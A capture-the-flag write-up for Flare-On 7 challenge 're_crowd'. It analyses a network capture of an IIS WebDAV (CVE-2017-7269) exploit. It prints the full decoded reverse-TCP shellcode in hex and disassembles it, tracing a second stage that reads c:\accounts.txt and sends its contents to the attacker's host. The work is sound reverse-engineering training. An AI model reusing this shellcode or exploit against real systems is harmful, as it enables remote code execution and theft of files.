Flare-On 7 2020 Challenge #7: re_crowd
- Online Disassembly
We received a capture network file named:
Notice that there are number of records with
I follow the TCP stream of this requests:
I didn’t understand what it is, I thought in the beginning that this is some base64 encoding but it doesn’t. I decided to search for “
Not <locktoken:Write1>” and it seems that it is related to CVE-2017–7269:
According to MITRE this a vulnerability in WebDAV:
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with “If: <http://” in a PROPFIND request, as exploited in the wild in July or August 2016.
After searching for exploits for this vulnerability we see that this is almost exactly like the encoded string from the PCAP.
There are number of websites that analyze this shellcode but the best one was this website. It explained that the beginning of the shellcode is actually a decoder stub:
And provided a decoder function which I changed a bit:
I run it and received the decoded shellcode:
E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 12 EB 8D 5D 68 33 32 00 00 68 77 73 32 5F 54 68 4C 77 26 07 FF D5 B8 90 01 00 00 29 C4 54 50 68 29 80 6B 00 FF D5 50 50 50 50 40 50 40 50 68 EA 0F DF E0 FF D5 97 6A 05 68 C0 A8 44 15 68 02 00 11 5C 89 E6 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0C FF 4E 08 75 EC 68 F0 B5 A2 56 FF D5 6A 00 6A 04 56 57 68 02 D9 C8 5F FF D5 8B 36 81 F6 4B 58 4F 52 8D 0E 6A 40 68 00 10 00 00 51 6A 00 68 58 A4 53 E5 FF D5 8D 98 00 01 00 00 53 56 50 6A 00 56 53 57 68 02 D9 C8 5F FF D5 01 C3 29 C6 75 EE 5B 59 5D 55 57 89 DF E8 10 00 00 00 6B 69 6C 6C 65 72 76 75 6C 74 75 72 65 31 32 33 5E 31 C0 AA FE C0 75 FB 81 EF 00 01 00 00 31 DB 02 1C 07 89 C2 80 E2 0F 02 1C 16 8A 14 07 86 14 1F 88 14 07 FE C0 75 E8 31 DB FE C0 02 1C 07 8A 14 07 86 14 1F 88 14 07 02 14 1F 8A 14 17 30 55 00 45 49 75 E5 5F C3 51
The only interesting thing we can see is some word
killervulture123 but we still don’t have a clue what is the reason of it:
Shellcode Static Analysis
I used online disassembly to view the shellcode and in the beginning some part of it had some constants like:
After searching for specific constants (i.e.
0x726774c) I noticed that these are hashes of function names. For example, I notice that this shellcode was very similar to the
block_reverse_tcp.asm shellcode from MetaSploit and it contained lots of notes which help me to analyze it.
At this point I knew what the shellcode do. It opens TCP socket on
192.168.68.21 and port
4444and try to connect it.
push eax ; push AF_INET
push 0xe0df0fea hash( "ws2_32.dll", "WSASocketA"
call ebp ; WSASocketA( AF_INET, SOCK_STREAM
xchg edi,eax ; save the socket for later, don't
push 0x5 ; retry counter
push 0x1544a8c0 ; 192.168.68.21push 0x5c110002 ; family AF_INET and port 4444
mov esi,esp ; save pointer to sockaddr struct
push 0x10 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174a599 "ws2_32.dll!connect"
Changing the target IP to our localhost
I needed that my machine will have the
192.168.68.21 and listen on
4444. One way to achieve it was to change my machine IP to this IP but there is another way — change the shellcode. All I need to do to change it to my local host is to change
0x1544a8c0 ;192.168.68.21 to
0x0100007F ;127.0.0.1 (to find the hex value of local host you can use this website).
68 c0 a8 44 15 push 0x1544a8c0 ; 192.168.68.21After:
68 7F 00 00 01 push 0x0100007F ; 127.0.0.1
Debugging the Shellcode
I started IO Ninja TCP Listener Socket to listen on port
I used BlobRunner to run the shellcode through x32dbg:
After running it BlobRuner will show you the memory location of the shllecode:
Jump to this address, set breakpoint and press Enter and it will jump to the shellcode. We can see that it successfully connected to our localhost on port
But after that there were to
ws2_32.dll!recv calls waiting for some input.
Finding the required stream
I went back to WireShark and searched for a place where there was a connection to
4444 and found something:
When I looked on the message sent from
192.168.68.1, I saw block of data:
But if it sent it one time, why there are two calls of
It turns out that it split the message to two parts. The first is is 4 bytes (
push 4) which is the 4 bytes from the beginning of the message
9c 5c 4f 52 and the second part is the rest of the message (
push esi while it in size
I sent the first message with IO Ninja (notice it should be “Binary”):
And second message (size
0x4D7) after the first one received:
I also noticed that they did this decoded with the string we saw earlier:
Following the white rabbit
After I passed the two
recv functions I continued to step over to see where it goes. The code started to unpack the large message we sent, to Windows libraries names and functions.
At some point it wants to open the file
I created the file that it will be able to continue and then it tried to read
0x100 (256) bytes from the file:
intrepidmango string, we will get to this later.
After that there was a call to
I checked what is inside the call
call 9B040E and I found that it leads to connect to TCP on
192.168.68.21 and port
1337 which make sense because we saw that after the connection to port
4444 it connected to
Notice that to resolve the port, you can do it simply with Python:
So, this time I again needed to change the hostname to
127.0.0.1 and open TCP listener on port
Because I needed to do number of tests, I also needed to get to this dynamically call to
connect so I set breakpoint on the second call (after the call to the function
0x142- last function in the shellcode) to
ws2_32.WSAStartup and set breakpoint on the first address on the stuck, the return address stuck.
I saw that the IP address (
0x1544A8C0 = 192.168.68.21) is in
0x010007F = 127.0.0.1:
But after that it didn’t print anything.
Putting the pieces together
What we know so far:
- The shellcode listen on port
4444and waits for encoded second-stage shellcode.
- The second-stage shellcode is being sent with two parts: size and data.
- The second-stage shellcode is decoded using
- The second-shellcode is trying to open
c:\accounts.txtand it tries to read
0x100(256) bytes from there.
- After it reads the content from
c:\accounts.txt, it calls to two functions that are doing some decoding with the string
intrepidmangoand listen to
1337. It then send it to the attacker.
Last part: server to attack
In the last part of the communication on port
1337 the server send to the attacker the following data:
This is what should be sent after reading some unknown content from
c:\accounts.txt and doing some decoding stuff on it. To reproduce it, I thought to do something similar we did in challenge 6.
I filled the
c:\accounts.txt with NULL bytes in size of
0xCE, create Python script for automation and changed the computer name to
We received the following data:
31 09 2e b9 cd 17 ff 12 e1 d5 74 6a d8 fb 2a fa 0c 40 90 58 a6 e8 c6 b8 7f a3 e3 97 0b 92 08 bd d5 63 62 25 cf aa 50 ab 3f b3 6a 29 71 e6 01 3d 23 67 65 09 b3 64 6f 5d fe ec 0d 22 9d e4 9e 8c 40 72 df cb 57 1c 94 ed fd a5 c1 9c 42 1f e0 da a4 a1 ed 8b 22 8a 7a dc a5 f4 d1 37 ca 0d 94 c3 39 be 62 cd d4 b8 7d 9e 4b 73 65 f2 38 76 9b b6 2b 4f 9a 4d be fe eb 34 21 28 a3 e1 fc d5 69 6e 49 45 77 b5 16 38 d3 d3 98 b3 79 06 78 40 e1 7c 6b 19 17 07 02 ff 3f 87 50 13 e7 61 48 7b ad 5d 10 ac d2 72 c5 58 8c de 58 e0 ed 49 63 6a d1 9f ef 37 d7 85 1d cc 50 55 29 62 28 e4 ae 64 8a ca 2c 87 35 60 11 e4 79 e5 bb 29 3b d0 0e 06
I thought to XOR it with the data from WireShark:
43 66 57 83 a5 23 89 77 be ac 1b 1f 87 8f 58 93 3f 24 cf 2c d3 9a a8 d1 11 c4 bc a6 7f cd 38 db b3 3c 03 4b ab f5 60 c5 60 d2 0d 1d 18 88 41 5b 4f 06 17 6c 9e 0b 01 73 9d 83 60 18 fa 8b ff f8 4d 78 b2 a4 24 6f ae bd 92 d1 ec cc 2d 7c 8b bf d0 8c bd e2 45 ef 15 b2 88 bc a4 59 be 20 ac f9 57 df 10 ba bc d9 11 93 41 19 00 9c 02 25 ef c4 4a 26 fd 25 ca 9b 85 19 64 4e c5 84 9f a1 00 18 2c 68 30 dc 70 4c fe 83 f1 c7 00 2b 49 7a 83 09 05 77 6e 0a 08 8d 56 e4 38 7e 88 0f 2c 41 e4 33 66 c9 bc 06 aa 2a a1 96 2d 94 c0 08 16 1e a4 f2 81 1a 83 f7 7c b5 7d 63 13 00 41 96 ca 69 80 ae 49 e9 5d 0f 7d 89 43 d4 89 1a 01 b4 61 61
After XORing I received the decoded data:
>>> data = [0x43, 0x66, 0x57, 0x83, 0xa5, 0x23, 0x89, 0x77, 0xbe, 0xac, 0x1b, 0x1f, 0x87, 0x8f, 0x58, 0x93, 0x3f, 0x24, 0xcf, 0x2c, 0xd3, 0x9a, 0xa8, 0xd1, 0x11, 0xc4, 0xbc, 0xa6, 0x7f, 0xcd, 0x38, 0xdb, 0xb3, 0x3c, 0x03, 0x4b, 0xab, 0xf5, 0x60, 0xc5, 0x60, 0xd2, 0x0d, 0x1d, 0x18, 0x88, 0x41, 0x5b, 0x4f, 0x06, 0x17, 0x6c, 0x9e, 0x0b, 0x01, 0x73, 0x9d, 0x83, 0x60, 0x18, 0xfa, 0x8b, 0xff, 0xf8, 0x4d, 0x78, 0xb2, 0xa4, 0x24, 0x6f, 0xae, 0xbd, 0x92, 0xd1, 0xec, 0xcc, 0x2d, 0x7c, 0x8b, 0xbf, 0xd0, 0x8c, 0xbd, 0xe2, 0x45, 0xef, 0x15, 0xb2, 0x88, 0xbc, 0xa4, 0x59, 0xbe, 0x20, 0xac, 0xf9, 0x57, 0xdf, 0x10, 0xba, 0xbc, 0xd9, 0x11, 0x93, 0x41, 0x19, 0x00, 0x9c, 0x02, 0x25, 0xef, 0xc4, 0x4a, 0x26, 0xfd, 0x25, 0xca, 0x9b, 0x85, 0x19, 0x64, 0x4e, 0xc5, 0x84, 0x9f, 0xa1, 0x00, 0x18, 0x2c, 0x68, 0x30, 0xdc, 0x70, 0x4c, 0xfe, 0x83, 0xf1, 0xc7, 0x00, 0x2b, 0x49, 0x7a, 0x83, 0x09, 0x05, 0x77, 0x6e, 0x0a, 0x08, 0x8d, 0x56, 0xe4, 0x38, 0x7e, 0x88, 0x0f, 0x2c, 0x41, 0xe4, 0x33, 0x66, 0xc9, 0xbc, 0x06, 0xaa, 0x2a, 0xa1, 0x96, 0x2d, 0x94, 0xc0, 0x08, 0x16, 0x1e, 0xa4, 0xf2, 0x81, 0x1a, 0x83, 0xf7, 0x7c, 0xb5, 0x7d, 0x63, 0x13, 0x00, 0x41, 0x96, 0xca, 0x69, 0x80, 0xae, 0x49, 0xe9, 0x5d, 0x0f, 0x7d, 0x89, 0x43, 0xd4, 0x89, 0x1a, 0x01, 0xb4, 0x61, 0x61]
>>> key = [0x31, 0x09, 0x2e, 0xb9, 0xcd, 0x17, 0xff, 0x12, 0xe1, 0xd5, 0x74, 0x6a, 0xd8, 0xfb, 0x2a, 0xfa, 0x0c, 0x40, 0x90, 0x58, 0xa6, 0xe8, 0xc6, 0xb8, 0x7f, 0xa3, 0xe3, 0x97, 0x0b, 0x92, 0x08, 0xbd, 0xd5, 0x63, 0x62, 0x25, 0xcf, 0xaa, 0x50, 0xab, 0x3f, 0xb3, 0x6a, 0x29, 0x71, 0xe6, 0x01, 0x3d, 0x23, 0x67, 0x65, 0x09, 0xb3, 0x64, 0x6f, 0x5d, 0xfe, 0xec, 0x0d, 0x22, 0x9d, 0xe4, 0x9e, 0x8c, 0x40, 0x72, 0xdf, 0xcb, 0x57, 0x1c, 0x94, 0xed, 0xfd, 0xa5, 0xc1, 0x9c, 0x42, 0x1f, 0xe0, 0xda, 0xa4, 0xa1, 0xed, 0x8b, 0x22, 0x8a, 0x7a, 0xdc, 0xa5, 0xf4, 0xd1, 0x37, 0xca, 0x0d, 0x94, 0xc3, 0x39, 0xbe, 0x62, 0xcd, 0xd4, 0xb8, 0x7d, 0x9e, 0x4b, 0x73, 0x65, 0xf2, 0x38, 0x76, 0x9b, 0xb6, 0x2b, 0x4f, 0x9a, 0x4d, 0xbe, 0xfe, 0xeb, 0x34, 0x21, 0x28, 0xa3, 0xe1, 0xfc, 0xd5, 0x69, 0x6e, 0x49, 0x45, 0x77, 0xb5, 0x16, 0x38, 0xd3, 0xd3, 0x98, 0xb3, 0x79, 0x06, 0x78, 0x40, 0xe1, 0x7c, 0x6b, 0x19, 0x17, 0x07, 0x02, 0xff, 0x3f, 0x87, 0x50, 0x13, 0xe7, 0x61, 0x48, 0x7b, 0xad, 0x5d, 0x10, 0xac, 0xd2, 0x72, 0xc5, 0x58, 0x8c, 0xde, 0x58, 0xe0, 0xed, 0x49, 0x63, 0x6a, 0xd1, 0x9f, 0xef, 0x37, 0xd7, 0x85, 0x1d, 0xcc, 0x50, 0x55, 0x29, 0x62, 0x28, 0xe4, 0xae, 0x64, 0x8a, 0xca, 0x2c, 0x87, 0x35, 0x60, 0x11, 0xe4, 0x79, 0xe5, 0xbb, 0x29, 0x3b, 0xd0, 0x0e, 0x06]
>>> result = ''
>>> for i in range(len(data)):
... result += chr(data[i] ^ key[i])